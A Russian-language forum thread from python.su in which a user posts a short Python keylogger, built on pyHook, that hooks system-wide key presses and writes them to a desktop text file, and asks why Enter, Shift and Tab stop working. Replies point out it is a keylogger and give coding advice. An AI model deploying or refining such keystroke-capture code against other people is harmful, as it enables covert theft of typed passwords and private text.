Форум сайта python.su
Фигня такая я написал код он должен записывать в тхт. он так и делает но нажатии в интер, шифт, таб не дают никакого эффекта даже вне среды а также их сочитания. помогите!
import threading import pythoncom import pyHook f=open(r'C:\Users\User\Desktop\keys.txt','w') def keypressed(event): keys = chr(event.KeyID) f=open(r'C:\Users\User\Desktop\keys.txt','a') f.write(keys) return 0 class Keylogger(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.event = threading.Event() def run(self): obj = pyHook.HookManager() obj.KeyDown = keypressed obj.HookKeyboard() pythoncom.PumpMessages() k = Keylogger() k.run()
Отредактировано vl (Фев. 22, 2018 18:21:24)
Офлайн
Агааааааа - Кей Логгер пишем? Ну ок, не мне судить.
В PyHook не предусмотрено захватывать сочетания клавиш, кроме как с контролом несколько.
# Life loop while alive: if (fun > boredom) and money: pass_day(fun, boredom, money) continue else: break
Офлайн
И да, очень тупо с твоей стороны 2 раза открывать файл. ЗАЧЕМ? При открытии файла с флагом append тоже создает новый файл, если такого нет, как и флаг write.
И да, функция “keypressed” не должна ничего возвращать, так сказать, как void функция в C++.
И еще кое-что: что бы ты не делал, где бы ты ни был, что бы ты не ел – никогда не оставляй файл открытым. Понимаешь ли, проблемы со следующими открытиями, лишние участки памяти, которые могут быть использованы в других целях, все дела…
# Life loop while alive: if (fun > boredom) and money: pass_day(fun, boredom, money) continue else: break
Отредактировано DamMercul (Март 28, 2018 21:09:35)
Офлайн
DamMercul
Так не в сочетании проблема а с id самих клавиш. Проблема в том что он их не записывает и мало того что не записывает так эти клавиши просто перестают работать.
Офлайн